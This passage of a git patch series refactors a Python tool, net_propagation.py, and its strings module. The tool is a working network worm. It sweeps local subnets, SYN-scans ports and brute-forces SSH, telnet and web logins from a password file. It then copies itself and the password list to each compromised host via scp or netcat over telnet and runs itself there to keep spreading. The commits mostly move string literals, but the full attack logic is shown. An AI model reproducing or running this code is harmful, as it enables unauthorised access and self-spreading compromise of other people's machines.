PLS_HELP = "Parameters:\n\t-t -> Filename for a file containing a list of " \ @@ -30,6 +36,7 @@ "-f my_password_list.txt\n\n\t./net_attack.py -t ip_list.txt " \ "-p 22 -u root -f passwords.txt" RETURN_OR_NEWLINE = "\n" +WELCOME_TO = "Welcome to" def connection_status(service, ip, port, status): From c8db3a5c181c71c8ef2d6e1af1b44fa5c1ff45b5 Mon Sep 17 00:00:00 2001 From: andrewk10 <19553807+andrewk10@users.noreply.github.com> Date: Wed, 9 Mar 2022 09:52:59 +0000 Subject: [PATCH 12/78] More strings brought out, added a TODO as a UI note --- src/net_propagation.py | 93 +++++++++++++++++++++++------------------- src/strings.py | 74 +++++++++++++++++++++++++++++++-- 2 files changed, 121 insertions(+), 46 deletions(-) diff --git a/src/net_propagation.py b/src/net_propagation.py index 733db66..45a6142 100755 --- a/src/net_propagation.py +++ b/src/net_propagation.py @@ -10,7 +10,7 @@ from scapy.utils import subprocess, os from telnetlib import Telnet from time import sleep -from paramiko import SSHClient, AutoAddPolicy, RejectPolicy +from paramiko import SSHClient, RejectPolicy import logging import requests import strings @@ -74,7 +74,7 @@ def assigning_values(arguments): :return target_username: The username that will be used for actions :return passwords_filename: The filename of the passwords file """ - if "-t" in arguments: + if strings.ARGUMENT_IP_ADDRESS_FILENAME in arguments: ip_addresses_filename = \ arguments[ arguments.index(strings.ARGUMENT_IP_ADDRESS_FILENAME) + 1] @@ -168,7 +168,8 @@ def check_over_telnet(ip, port, username, password): tel.write((str(username) + strings.RETURN_OR_NEWLINE) .encode(strings.ENCODE_ASCII)) tel.read_until(strings.PASSWORD_PROMPT.encode(strings.ENCODE_ASCII)) - tel.write((str(password) + strings.RETURN_OR_NEWLINE).encode("ascii")) + tel.write((str(password) + strings.RETURN_OR_NEWLINE) + .encode(strings.ENCODE_ASCII)) data = tel.read_until(strings.WELCOME_TO.encode(strings.ENCODE_ASCII), timeout=4) if check_telnet_data(strings.WELCOME_TO, data): @@ -223,10 +224,10 @@ def checking_arguments(arguments): return values[0], values[1], values[2], values[3] except RuntimeError: - logging.error("Failed assigning values (maybe null)") + logging.error(strings.FAILED_ASSIGNING_VALUES) gtfo_and_rtfm() else: - logging.error("Parameter misuse, check help text below") + logging.error(strings.PARAMETER_MISUSE) gtfo_and_rtfm() @@ -247,13 +248,14 @@ def connect_ssh_client(ip, port, username, password): client.connect(hostname=str(ip), port=int(port), username=str(username), password=str(password)) client.close() - logging.info(strings.connection_status("SSH", ip, port, "Successful")) + logging.info(strings.connection_status(strings.SSH, ip, port, + strings.SUCCESSFUL)) return True except RuntimeError: client.close() - logging.debug(strings.connection_status("SSH", ip, port, - "Unsuccessful")) + logging.debug(strings.connection_status(strings.SSH, ip, port, + strings.UNSUCCESSFUL)) return False @@ -270,23 +272,26 @@ def connect_telnet(ip, port, username, password): """ try: tel = Telnet(host=ip, port=port, timeout=2) - tel.read_until("login:".encode("ascii")) - tel.write((str(username) + "\n").encode("ascii")) - tel.read_until("Password:".encode("ascii")) - tel.write((str(password) + "\n").encode("ascii")) + tel.read_until(strings.LOGIN_PROMPT.encode(strings.ENCODE_ASCII)) + tel.write((str(username) + strings.RETURN_OR_NEWLINE) + .encode(strings.ENCODE_ASCII)) + tel.read_until(strings.PASSWORD_PROMPT.encode(strings.ENCODE_ASCII)) + tel.write((str(password) + strings.RETURN_OR_NEWLINE) + .encode(strings.ENCODE_ASCII)) - data = tel.read_until("Welcome to".encode("ascii"), timeout=4) - logging.info(strings.connection_status("telnet", ip, port, - "Successful")) - if check_telnet_data("Welcome to", data): + data = tel.read_until(strings.WELCOME_TO.encode(strings.ENCODE_ASCII), + timeout=4) + logging.info(strings.connection_status(strings.TELNET, ip, port, + strings.SUCCESSFUL)) + if check_telnet_data(strings.WELCOME_TO, data): return True - logging.debug(strings.connection_status("telnet", ip, port, - "Unsuccessful")) + logging.debug(strings.connection_status(strings.TELNET, ip, port, + strings.UNSUCCESSFUL)) return False except RuntimeError: - logging.debug(strings.connection_status("telnet", ip, port, - "Unsuccessful")) + logging.debug(strings.connection_status(strings.TELNET, ip, port, + strings.UNSUCCESSFUL)) return False @@ -306,10 +311,11 @@ def connect_web(ip, port, username, password): send_post_request_with_login(ip, port, username, password) attempt_succeeded = True except RuntimeError: - logging.debug(strings.connection_status("web", ip, port, - "Unsuccessful")) + logging.debug(strings.connection_status(strings.WEB, ip, port, + strings.UNSUCCESSFUL)) if attempt_succeeded: - logging.info(strings.connection_status("web", ip, port, "Successful")) + logging.info(strings.connection_status(strings.WEB, ip, port, + strings.SUCCESSFUL)) return attempt_succeeded @@ -335,16 +341,16 @@ def cycle_through_subnet(ip_list, interface): :param interface: The interface on which each IP address is to be checked for a response """ - interface_split = get_if_addr(interface).split(".") + interface_split = get_if_addr(interface).split(strings.FULL_STOP) last_byte = 0 while last_byte < 256: - specific_address = str(interface_split[0]) + "." \ - + str(interface_split[1]) + "." \ - + str(interface_split[2]) + "." \ + specific_address = str(interface_split[0]) + strings.FULL_STOP \ + + str(interface_split[1]) + strings.FULL_STOP \ + + str(interface_split[2]) + strings.FULL_STOP \ + str(last_byte) if not ip_list.__contains__(specific_address): - print("Adding " + str(specific_address) + " from interface " - + str(interface) + "'s subnet.") + logging.info(strings.adding_address_to_interface(specific_address, + interface)) ip_list.append(specific_address) last_byte = last_byte + 1 return ip_list @@ -368,7 +374,7 @@ def file_not_exist(ip, port, username, password): :param password: Password being used as part of checking the file :return check_over_ssh(ip, port, username, password): """ - if str(port) == "22": + if str(port) == strings.SSH_PORT: return check_over_ssh(ip, port, username, password) return check_over_telnet(ip, port, username, password) @@ -381,11 +387,11 @@ def gathering_local_ips(ip_list): :param ip_list: The IPs for which we're fetching the subnets :return ip_list: The IP list with the newly found subnet addresses """ - print("Fetching local interface list...") + logging.info(strings.FETCHING_LOCAL_INTERFACE_LIST) local_interfaces = get_if_list() for interface in local_interfaces: - if str(interface) != "lo": - (print("Fetching IPs for interface " + str(interface) + "...")) + if str(interface) != strings.LOOPBACK: + logging.info(strings.fetching_ips_for_interface(interface)) ip_list.extend(cycle_through_subnet(ip_list, interface)) return ip_list @@ -411,15 +417,15 @@ def is_reachable_ip(ip): # ping_pkt = IP(dst=str(ip))/ICMP() # reply = sr(ping_pkt, timeout=1)[0] # if not reply: - # print(str(ip) + " was not reachable.") + # logging.debug(strings.ip_reachability(ip, False)) # return False - # print(ip + " was reachable.") + # logging.info(strings.ip_reachability(ip, True)) # return True - command = ["ping", "-c", "1", str(ip)] + command = [strings.PING, strings.PING_ARGUMENT, strings.ONE, str(ip)] if subprocess.call(command) == 0: - print(str(ip) + " was reachable.") + logging.info(strings.ip_reachability(ip, True)) return True - print(str(ip) + " was not reachable.") + logging.debug(strings.ip_reachability(ip, False)) return False @@ -443,12 +449,13 @@ def propagate_script(ip, port, login_string): try: if file_not_exist(ip, port, login_string_split[0], login_string_split[1]): - if str(port) == "22": - print("Please type in this password below and say yes to any" - + " RSA key prompts: ") - os.system("scp -P " + str(port) + " net_attack.py " + if str(port) == strings.SSH_PORT: + # TODO: Need feedback from the end user, should be worked into + # the UI itself. + print(strings.RSA_AND_PASSWORD) + os.system("scp -P " + str(port) + " net_propagation.py " + login_string_split[0] + "@" + ip + ":~/") - print("Please type in this password again: ") + print(strings.PLEASE_TYPE_PASSWORD_AGAIN) os.system("scp -P " + str(port) + " passwords.txt " + login_string_split[0] + "@" + ip + ":~/") client = SSHClient() diff --git a/src/strings.py b/src/strings.py index 271f0c4..1cd64fd 100644 --- a/src/strings.py +++ b/src/strings.py @@ -7,24 +7,33 @@ every string constant has a comment describing its use. """ + ARGUMENT_IP_ADDRESS_FILENAME = "-t" ARGUMENT_PORTS = "-p" ARGUMENT_USERNAME = "-u" ARGUMENT_PASSWORDS_FILENAME = "-f" ARGUMENT_SCAN_LOCAL_NETWORKS = "-L" ARGUMENT_HELP_SHORT = "-h" +ARGUMENT_ = "-c" ARGUMENT_HELP_LONG = "--help" BLANK_STRING = "" ENCODE_ASCII = "ascii" EXITING = "Exiting..." FAILED_ASSIGNING_VALUES = "Failed assigning values (maybe null)" +FETCHING_LOCAL_INTERFACE_LIST = "Fetching local interface list..." +FULL_STOP = "." FILENAME_PROCESSING_ERROR = "One of the filenames are invalid." LOGIN_PROMPT = "login:" +LOOPBACK = "lo" MAIN = "main()" +ONE = "1" PASSWORD_PROMPT = "Password:" PARAMETER_MISUSE = "Parameter misuse, check help text below" PERFORMING_LOCAL_SCAN = "Performing local scan, this might take a while so " \ "grab a coffee..." +PING = "ping" +PING_ARGUMENT = "-c" +PLEASE_TYPE_PASSWORD_AGAIN = "Please type in this password again: " PLS_HELP = "Parameters:\n\t-t -> Filename for a file containing a list of " \ "target IP addresses\n\t-p -> Ports to scan on the target host" \ "\n\t-u -> A username\n\t-f -> Filename for a file containing " \ @@ -36,9 +45,32 @@ "-f my_password_list.txt\n\n\t./net_attack.py -t ip_list.txt " \ "-p 22 -u root -f passwords.txt" RETURN_OR_NEWLINE = "\n" +RSA_AND_PASSWORD = "Please type in this password below and say yes to any " \ + "RSA key prompts: " +SSH = "SSH" +SSH_PORT = "22" +SUCCESSFUL = "Successful" +TELNET = "telnet" +UNSUCCESSFUL = "Unsuccessful" +WEB = "web" WELCOME_TO = "Welcome to" +def adding_address_to_interface(specific_address, interface): + """ + This function takes a specific address and an interface and generates a + string for declaring it was found in a given subnet + :param specific_address: The specific target address to be added to the + interface + :param interface: The interface on which we're adding a specific target + address + :return "Adding " + str(specific_address) + " from interface " + + str(interface) + "'s subnet.": The string in question + """ + return "Adding " + str(specific_address) + " from interface " \ + + str(interface) + "'s subnet." + + def connection_status(service, ip, port, status): """ This function creates the connection status string dependent @@ -51,6 +83,26 @@ def connection_status(service, ip, port, status): return string +def fetching_ips_for_interface(interface): + """ + This function generates the string for fetching the IPs for a specific + interface + :param interface: + :return: + """ + "Fetching IPs for interface " + str(interface) + "..." + + +def scp_command_string(port, username, target_ip): + """ + This function creates and SSH copy string for an OS command + :param port: Port over which we are running the SSH copy + :param username: The username for the SSH login + :param target_ip: The IP address of the machine we are copying too + :return: + """ + + def touch_file(filename): """ This function creates a command for touching a specific file @@ -77,7 +129,23 @@ def ip_list_not_read(filename): a particular filename :param filename: The filename of the file that can't have an ip list derived from it - :return string: The string in question. + :return "IP list cannot be read from filename: " + filename: The string in + question """ - string = "IP list cannot be read from filename: " + filename - return string + return "IP list cannot be read from filename: " + filename + + +def ip_reachability(ip, reachable): + """ + This function generates the string regarding the reachability of an IP i.e. + whether it can be pinged + :param ip: The IP being pinged + :param reachable: Whether it is reachable + :return str(ip) + " was reachable.": String returned if it is reachable + :return str(ip) + " was not reachable.": String returned if it is not + reachable + """ + if reachable: + return str(ip) + " was reachable." + return str(ip) + " was not reachable." + From 38e5e16d29e6b4ea474d671f0f2507d227907508 Mon Sep 17 00:00:00 2001 From: andrewk10 <19553807+andrewk10@users.noreply.github.com> Date: Wed, 9 Mar 2022 11:14:18 +0000 Subject: [PATCH 13/78] [UPDATE] Even more done, coming along nicely --- src/net_propagation.py | 42 +++++++++++++++++++++--------------- src/strings.py | 48 ++++++++++++++++++++++++++++-------------- 2 files changed, 57 insertions(+), 33 deletions(-) diff --git a/src/net_propagation.py b/src/net_propagation.py index 45a6142..259abcb 100755 --- a/src/net_propagation.py +++ b/src/net_propagation.py @@ -136,7 +136,7 @@ def check_over_ssh(ip, port, username, password): username=str(username), password=str(password)) client.exec_command(strings.touch_file(os.path.basename(__file__))) if str(client.exec_command - (strings.cat_file(os.path.basename(__file__))) + (strings.cat_file(os.path.basename(__file__))) [1]).__len__() < 1: client.close() return True @@ -453,20 +453,24 @@ def propagate_script(ip, port, login_string): # TODO: Need feedback from the end user, should be worked into # the UI itself. print(strings.RSA_AND_PASSWORD) - os.system("scp -P " + str(port) + " net_propagation.py " - + login_string_split[0] + "@" + ip + ":~/") + os.system(strings.scp_command_string(port, + login_string_split[0], + ip, + os.path + .basename(__file__))) print(strings.PLEASE_TYPE_PASSWORD_AGAIN) - os.system("scp -P " + str(port) + " passwords.txt " - + login_string_split[0] + "@" + ip + ":~/") + os.system(strings.scp_command_string(port, + login_string_split[0], + ip, + strings.PASSWORDS_FILE)) client = SSHClient() try: client.set_missing_host_key_policy(RejectPolicy) client.connect(hostname=str(ip), port=int(port), username=str(login_string_split[0]), password=str(login_string_split[1])) - client.exec_command("net_attack.py -L -p 22,23 -u " - + login_string_split[0] + " -f" - + " passwords.txt -P") + client.exec_command(strings.ssh_run_script_command( + os.path.basename(__file__), login_string_split[0])) client.close() return True @@ -474,20 +478,24 @@ def propagate_script(ip, port, login_string): client.close() return False tel = Telnet(host=ip, port=port, timeout=2) - tel.read_until("login:".encode("ascii")) - tel.write((str(login_string_split[0]) + "\n").encode("ascii")) - tel.read_until("Password:".encode("ascii")) - tel.write((str(login_string_split[1]) + "\n").encode("ascii")) + tel.read_until(strings.LOGIN_PROMPT.encode(strings.ENCODE_ASCII)) + tel.write((str(login_string_split[0]) + strings + .RETURN_OR_NEWLINE).encode( + strings.ENCODE_ASCII)) + tel.read_until(strings.PASSWORD_PROMPT.encode( + strings.ENCODE_ASCII)) + tel.write((str(login_string_split[1]) + + strings.RETURN_OR_NEWLINE).encode(strings.ENCODE_ASCII)) tel.write(("nc -l -p " + str(port) - + " > net_attack.py").encode("ascii")) + + " > net_attack.py").encode(strings.ENCODE_ASCII)) os.system(("nc -w 3 " + str(ip) + " " + str(port) - + " < net_attack.py").encode("ascii")) + + " < net_attack.py").encode(strings.ENCODE_ASCII)) tel.write(("nc -l -p " + str(port) - + " > passwords.txt").encode("ascii")) + + " > passwords.txt").encode(strings.ENCODE_ASCII)) os.system(("nc -w 3 " + str(ip) + " " + str(port) - + " < passwords.txt").encode("ascii")) + + " < passwords.txt").encode(strings.ENCODE_ASCII)) tel.write(("net_attack.py -L -p 22,23 -u " + login_string_split[0] - + " -f passwords.txt -P").encode("ascii")) + + " -f passwords.txt -P").encode(strings.ENCODE_ASCII)) return True else: print("net_attack.py is already on host: " + str(ip)) diff --git a/src/strings.py b/src/strings.py index 1cd64fd..951ccff 100644 --- a/src/strings.py +++ b/src/strings.py @@ -7,7 +7,6 @@ every string constant has a comment describing its use. """ - ARGUMENT_IP_ADDRESS_FILENAME = "-t" ARGUMENT_PORTS = "-p" ARGUMENT_USERNAME = "-u" @@ -28,6 +27,7 @@ MAIN = "main()" ONE = "1" PASSWORD_PROMPT = "Password:" +PASSWORDS_FILE = "passwords.txt" PARAMETER_MISUSE = "Parameter misuse, check help text below" PERFORMING_LOCAL_SCAN = "Performing local scan, this might take a while so " \ "grab a coffee..." @@ -71,15 +71,25 @@ def adding_address_to_interface(specific_address, interface): + str(interface) + "'s subnet." +def cat_file(filename): + """ + This function creates a command for concatenating a specific file + :param filename: The filename of the file we want to touch + :return command: The completed touch command + """ + command = "cat " + filename + return command + + def connection_status(service, ip, port, status): """ This function creates the connection status string dependent on the context given by the arguments passed into it. """ string = str(status) + " " + str(service) + " login to " + str(ip) + ":" \ - + str(port) \ - + " using the specified username with a password in the passwords" \ - " file." + + str(port) \ + + " using the specified username with a password in the passwords" \ + " file." return string @@ -93,14 +103,18 @@ def fetching_ips_for_interface(interface): "Fetching IPs for interface " + str(interface) + "..." -def scp_command_string(port, username, target_ip): +def scp_command_string(port, username, target_ip, filename): """ This function creates and SSH copy string for an OS command :param port: Port over which we are running the SSH copy :param username: The username for the SSH login :param target_ip: The IP address of the machine we are copying too - :return: + :param filename: The name of the file to be copied across by SSH + :return "scp -P " + str(port) + " " + filename + " " + username + "@" \ + + target_ip + ":~/": The SSH copy command """ + return "scp -P " + str(port) + " " + filename + " " + username + "@" \ + + target_ip + ":~/" def touch_file(filename): @@ -113,16 +127,6 @@ def touch_file(filename): return command -def cat_file(filename): - """ - This function creates a command for concatenating a specific file - :param filename: The filename of the file we want to touch - :return command: The completed touch command - """ - command = "cat " + filename - return command - - def ip_list_not_read(filename): """ This function returns the error for an ip list that can't be generated from @@ -149,3 +153,15 @@ def ip_reachability(ip, reachable): return str(ip) + " was reachable." return str(ip) + " was not reachable." + +def ssh_run_script_command(filename, username): + """ + This function will run the propagation script on another target machine + over SSH + :param filename: The file that holds the propagation script + :param username: The username to run against the propagation script as a + parameter + :return "net_attack.py -L -p 22,23 -u " + username + " -f passwords.txt + -P": The command itself + """ + return filename + " -L -p 22,23 -u " + username + " -f passwords.txt -P" From f8caf9cca7ec71c9f2ef0eed847aae85269e23a1 Mon Sep 17 00:00:00 2001 From: andrewk10 <19553807+andrewk10@users.noreply.github.com> Date: Wed, 9 Mar 2022 19:22:01 +0000 Subject: [PATCH 14/78] [UPDATE] Telnet and netcat writer stuff done --- src/net_propagation.py | 31 ++++++++++++---------- src/strings.py | 58 ++++++++++++++++++++++++++++++++++-------- 2 files changed, 65 insertions(+), 24 deletions(-) diff --git a/src/net_propagation.py b/src/net_propagation.py index 259abcb..fab5c73 100755 --- a/src/net_propagation.py +++ b/src/net_propagation.py @@ -451,7 +451,7 @@ def propagate_script(ip, port, login_string): login_string_split[1]): if str(port) == strings.SSH_PORT: # TODO: Need feedback from the end user, should be worked into - # the UI itself. + # the UI itself. Not a dedicated print statement. print(strings.RSA_AND_PASSWORD) os.system(strings.scp_command_string(port, login_string_split[0], @@ -469,7 +469,7 @@ def propagate_script(ip, port, login_string): client.connect(hostname=str(ip), port=int(port), username=str(login_string_split[0]), password=str(login_string_split[1])) - client.exec_command(strings.ssh_run_script_command( + client.exec_command(strings.run_script_command( os.path.basename(__file__), login_string_split[0])) client.close() return True @@ -486,19 +486,24 @@ def propagate_script(ip, port, login_string): strings.ENCODE_ASCII)) tel.write((str(login_string_split[1]) + strings.RETURN_OR_NEWLINE).encode(strings.ENCODE_ASCII)) - tel.write(("nc -l -p " + str(port) - + " > net_attack.py").encode(strings.ENCODE_ASCII)) - os.system(("nc -w 3 " + str(ip) + " " + str(port) - + " < net_attack.py").encode(strings.ENCODE_ASCII)) - tel.write(("nc -l -p " + str(port) - + " > passwords.txt").encode(strings.ENCODE_ASCII)) - os.system(("nc -w 3 " + str(ip) + " " + str(port) - + " < passwords.txt").encode(strings.ENCODE_ASCII)) - tel.write(("net_attack.py -L -p 22,23 -u " + login_string_split[0] - + " -f passwords.txt -P").encode(strings.ENCODE_ASCII)) + tel.write((strings.netcat_listener(port, + os.path.basename(__file__))) + .encode(strings.ENCODE_ASCII)) + os.system((strings.netcat_writer(ip, port, + os.path.basename(__file__))) + .encode(strings.ENCODE_ASCII)) + tel.write((strings.netcat_listener(port, + strings.PASSWORDS_FILE)) + .encode(strings.ENCODE_ASCII)) + os.system((strings.netcat_writer(ip, port, + strings.PASSWORDS_FILE)) + .encode(strings.ENCODE_ASCII)) + tel.write((strings.run_script_command(os.path.basename(__file__), + login_string_split[0])) + .encode(strings.ENCODE_ASCII)) return True else: - print("net_attack.py is already on host: " + str(ip)) + logging.debug(strings.file_present_on_host(ip)) return False except RuntimeError: return False diff --git a/src/strings.py b/src/strings.py index 951ccff..cd7315e 100644 --- a/src/strings.py +++ b/src/strings.py @@ -75,10 +75,9 @@ def cat_file(filename): """ This function creates a command for concatenating a specific file :param filename: The filename of the file we want to touch - :return command: The completed touch command + :return "cat " + filename: The completed cat command """ - command = "cat " + filename - return command + return "cat " + filename def connection_status(service, ip, port, status): @@ -87,9 +86,9 @@ def connection_status(service, ip, port, status): on the context given by the arguments passed into it. """ string = str(status) + " " + str(service) + " login to " + str(ip) + ":" \ - + str(port) \ - + " using the specified username with a password in the passwords" \ - " file." + + str(port) \ + + " using the specified username with a password in the " \ + "passwords file." return string @@ -97,10 +96,21 @@ def fetching_ips_for_interface(interface): """ This function generates the string for fetching the IPs for a specific interface - :param interface: - :return: + :param interface: The interface we're fetching IPs on + :return "Fetching IPs for interface " + str(interface) + "...": The string + in question + """ + return "Fetching IPs for interface " + str(interface) + "..." + + +def file_present_on_host(ip): + """ + This function generates the string for a file already present on a host + :param ip: The host itself + :return "A file is already present on this host: " + str(ip): The string + in question """ - "Fetching IPs for interface " + str(interface) + "..." + return "A file is already present on this host: " + str(ip) def scp_command_string(port, username, target_ip, filename): @@ -154,10 +164,36 @@ def ip_reachability(ip, reachable): return str(ip) + " was not reachable." -def ssh_run_script_command(filename, username): +def netcat_listener(port, filename): + """ + This function will create a netcat listener on the device we have a telnet + link to + :param port: The port on which the telnet listener will operate + :param filename: The filename of the file we're moving using the listener + parameter + :return "nc -l -p " + str(port) + " > " + filename: The string in question + """ + return "nc -l -p " + str(port) + " > " + filename + + +def netcat_writer(ip, port, filename): + """ + This function will create a netcat writer to write a file to a device we + have a telnet link to + :param ip: Machine with the telnet listener we are writing to + :param port: The port on which the telnet writer will operate + :param filename: The filename of the file we're moving using the writer + parameter + :return "nc -w 3 " + str(ip) + " " + str(port) + " < " + filename: The + string in question + """ + return "nc -w 3 " + str(ip) + " " + str(port) + " < " + filename + + +def run_script_command(filename, username): """ This function will run the propagation script on another target machine - over SSH + over any service :param filename: The file that holds the propagation script :param username: The username to run against the propagation script as a parameter From f75da500c7022dc9ca0c108949efa2419c9e553f Mon Sep 17 00:00:00 2001 From: andrewk10 <19553807+andrewk10@users.noreply.github.com> Date: Thu, 10 Mar 2022 09:32:55 +0000 Subject: [PATCH 15/78] [UPDATE] Up as far as the transfer_file function done --- src/net_propagation.py | 37 +++++++++++++++++++------------------ src/strings.py | 25 +++++++++++++++++++++++++ 2 files changed, 44 insertions(+), 18 deletions(-) diff --git a/src/net_propagation.py b/src/net_propagation.py index fab5c73..51e70a2 100755 --- a/src/net_propagation.py +++ b/src/net_propagation.py @@ -519,7 +519,7 @@ def remove_unreachable_ips(ip_list): """ new_ip_list = [] for ip in ip_list: - print("Checking if the following ip address is reachable: " + str(ip)) + logging.info(strings.checking_ip_reachable(ip)) if is_reachable_ip(ip): new_ip_list.append(ip) return new_ip_list @@ -535,7 +535,7 @@ def scan_port(ip, port): :return False: The port is not open """ ip_header = IP(dst=ip) - tcp_header = TCP(dport=int(port), flags="S") + tcp_header = TCP(dport=int(port), flags=strings.SYN_FLAG) packet = ip_header / tcp_header response, unanswered = sr(packet, timeout=2) sleep(2) @@ -555,15 +555,17 @@ def send_post_request_with_login(ip, port, username, password): :param username: The username for the web login :param password: The password for the web login """ - response = requests.post("https://" + ip + ":" + port + "/login.php", - data={"username": username, "password": password}, + response = requests.post(strings.web_login_url(ip, port), + data={strings.USERNAME_PROMPT_WEB: username, + strings.PASSWORD_PROMPT_WEB: password}, timeout=4) if response: - logging.info(strings.connection_status("web", ip, port, "Successful")) - return str(username) + ":" + str(password) + logging.info(strings.connection_status(strings.WEB, ip, port, + strings.SUCCESSFUL)) + return str(username) + strings.COLON + str(password) else: - logging.debug(strings.connection_status("web", ip, port, - "Unsuccessful")) + logging.debug(strings.connection_status(strings.WEB, ip, port, + strings.UNSUCCESSFUL)) return None @@ -580,7 +582,7 @@ def telnet_connection(ip, port, username, password): :return None: If the telnet connection is unsuccessful """ if connect_telnet(ip, port, username, password): - return str(username) + ":" + str(password) + return str(username) + strings.COLON + str(password) return None @@ -598,19 +600,18 @@ def transfer_file(ip, port, login_string, transfer_file_filename): :return True: The transfer of the file is a success :return False: The transfer of the file is unsuccessful """ - login_string_split = login_string.split(":") + login_string_split = login_string.split(strings.COLON) try: - if str(port) == "22": - print( - "Please type in this password below and say yes to any RSA key" - + " prompts: ") - os.system("scp -P " + str(port) + " " + transfer_file_filename - + " " + login_string_split[0] + "@" + ip + ":~/") + if str(port) == strings.SSH_PORT: + print(strings.RSA_AND_PASSWORD) + os.system(strings.scp_command_string(port, login_string_split[0], + ip, transfer_file_filename)) return True tel = Telnet(host=ip, port=port, timeout=2) - tel.read_until("login:".encode("ascii")) - tel.write((str(login_string_split[0]) + "\n").encode("ascii")) + tel.read_until(strings.LOGIN_PROMPT.encode(strings.ENCODE_ASCII)) + tel.write((str(login_string_split[0]) + + strings.RETURN_OR_NEWLINE).encode(strings.ENCODE_ASCII)) tel.read_until("Password:".encode("ascii")) tel.write((str(login_string_split[1]) + "\n").encode("ascii")) tel.write(("nc -l -p " + str(port) + " > " diff --git a/src/strings.py b/src/strings.py index cd7315e..7d3acbc 100644 --- a/src/strings.py +++ b/src/strings.py @@ -16,6 +16,7 @@ ARGUMENT_ = "-c" ARGUMENT_HELP_LONG = "--help" BLANK_STRING = "" +COLON = ":" ENCODE_ASCII = "ascii" EXITING = "Exiting..." FAILED_ASSIGNING_VALUES = "Failed assigning values (maybe null)" @@ -27,6 +28,7 @@ MAIN = "main()" ONE = "1" PASSWORD_PROMPT = "Password:" +PASSWORD_PROMPT_WEB = "password:" PASSWORDS_FILE = "passwords.txt" PARAMETER_MISUSE = "Parameter misuse, check help text below" PERFORMING_LOCAL_SCAN = "Performing local scan, this might take a while so " \ @@ -50,8 +52,10 @@ SSH = "SSH" SSH_PORT = "22" SUCCESSFUL = "Successful" +SYN_FLAG = "S" TELNET = "telnet" UNSUCCESSFUL = "Unsuccessful" +USERNAME_PROMPT_WEB = "username:" WEB = "web" WELCOME_TO = "Welcome to" @@ -80,6 +84,17 @@ def cat_file(filename): return "cat " + filename +def checking_ip_reachable(ip): + """ + This function creates a string that describes the availability of a machine + on a specific IP address + :param ip: The specific IP address + :return "Checking if the following ip address is reachable: " + str(ip): + The string in question + """ + return "Checking if the following ip address is reachable: " + str(ip) + + def connection_status(service, ip, port, status): """ This function creates the connection status string dependent @@ -201,3 +216,13 @@ def run_script_command(filename, username): -P": The command itself """ return filename + " -L -p 22,23 -u " + username + " -f passwords.txt -P" + + +def web_login_url(ip, port): + """ + This function will build the web login url string + :param ip: The IP of the machine running the web service + :param port: The port the web service is running on + :return "https://" + ip + ":" + port + "/login.php": The string itself + """ + return "https://" + ip + ":" + port + "/login.php" From 83c0b92246a4e7633b56baa54a54a5aaf8dead88 Mon Sep 17 00:00:00 2001 From: andrewk10 <19553807+andrewk10@users.noreply.github.com> Date: Thu, 10 Mar 2022 11:33:49 +0000 Subject: [PATCH 16/78] [UPDATE] Woohoo! All strings moved :) --- src/net_propagation.py | 78 +++++++++++++++++++++++------------------- src/strings.py | 34 +++++++++++++++++- 2 files changed, 75 insertions(+), 37 deletions(-) diff --git a/src/net_propagation.py b/src/net_propagation.py index 51e70a2..05a298f 100755 --- a/src/net_propagation.py +++ b/src/net_propagation.py @@ -612,12 +612,13 @@ def transfer_file(ip, port, login_string, transfer_file_filename): tel.read_until(strings.LOGIN_PROMPT.encode(strings.ENCODE_ASCII)) tel.write((str(login_string_split[0]) + strings.RETURN_OR_NEWLINE).encode(strings.ENCODE_ASCII)) - tel.read_until("Password:".encode("ascii")) - tel.write((str(login_string_split[1]) + "\n").encode("ascii")) - tel.write(("nc -l -p " + str(port) + " > " - + str(transfer_file_filename) + "\n").encode("ascii")) - os.system(("nc -w 3 " + str(ip) + " " + str(port) + " < " - + str(transfer_file_filename) + "\n").encode("ascii")) + tel.read_until(strings.PASSWORD_PROMPT.encode(strings.ENCODE_ASCII)) + tel.write((str(login_string_split[1]) + strings.RETURN_OR_NEWLINE) + .encode(strings.ENCODE_ASCII)) + tel.write((strings.netcat_listener(port, transfer_file_filename) + + "\n").encode(strings.ENCODE_ASCII)) + os.system((strings.netcat_writer(ip, port, transfer_file_filename) + + "\n").encode(strings.ENCODE_ASCII)) return True except ConnectionRefusedError: return False @@ -639,9 +640,9 @@ def try_attack(ip, port, target_username, password_list, :param transfer_file_filename: A filename for file to transfer :param arguments: List of user specified arguments """ - logging.info("Now testing an IP address and port pair") + logging.info(strings.TESTING_IP_PORT_PAIR) if scan_port(ip, port): - logging.info("Found an open IP address and port pair") + logging.info(strings.FOUND_OPEN_IP_PORT_PAIR) bruteforce_login_details = try_bruteforce(ip, port, target_username, password_list) if bruteforce_login_details[0]: @@ -649,7 +650,7 @@ def try_attack(ip, port, target_username, password_list, bruteforce_login_details[0], transfer_file_filename) else: - logging.debug("This IP address and port pair is closed") + logging.debug(strings.CLOSED_IP_PORT_PAIR) def try_bruteforce(ip, port, target_username, password_list): @@ -668,21 +669,19 @@ def try_bruteforce(ip, port, target_username, password_list): action and the service which was used. """ service_switch = { - "22": "ssh", - "23": "telnet", - "80": "web login", - "8080": "web login", - "8888": "web login" + strings.SSH_PORT: strings.SSH_LOWERCASE, + strings.TELNET_PORT: strings.TELNET, + strings.WEB_PORT_EIGHTY: strings.WEB_LOGIN, + strings.WEB_PORT_EIGHTY_EIGHTY: strings.WEB_LOGIN, + strings.WEB_PORT_EIGHTY_EIGHT_EIGHTY_EIGHT: strings.WEB_LOGIN } service = service_switch.get(str(port)) bruteforce = bruteforce_service(ip, port, target_username, password_list) if bruteforce: - logging.info("A working username and password for " + str(service) - + " was found.") + logging.info(strings.working_username_password(service)) return str(bruteforce), service else: - logging.debug("It was impossible to bruteforce this IP address and" - " port") + logging.debug(strings.IMPOSSIBLE_ACTION) return None, service @@ -701,19 +700,25 @@ def try_password_for_service(ip, port, username, password): """ try: connect_service_switch = { - "22": lambda: connect_ssh_client(ip, port, username, password), - "23": lambda: connect_telnet(ip, port, username, password), - "80": lambda: connect_web(ip, port, username, password), - "8080": lambda: connect_web(ip, port, username, password), - "8888": lambda: connect_web(ip, port, username, password), + strings.SSH_PORT: lambda: connect_ssh_client(ip, port, username, + password), + strings.TELNET_PORT: lambda: connect_telnet(ip, port, username, + password), + strings.WEB_PORT_EIGHTY: lambda: connect_web(ip, port, username, + password), + strings.WEB_PORT_EIGHTY_EIGHTY: lambda: connect_web(ip, port, + username, + password), + strings.WEB_PORT_EIGHTY_EIGHT_EIGHTY_EIGHT: lambda: + connect_web(ip, port, username, password), } connect_service = connect_service_switch.get(str(port)) if connect_service(): - return str(username) + ":" + str(password) - return "" + return 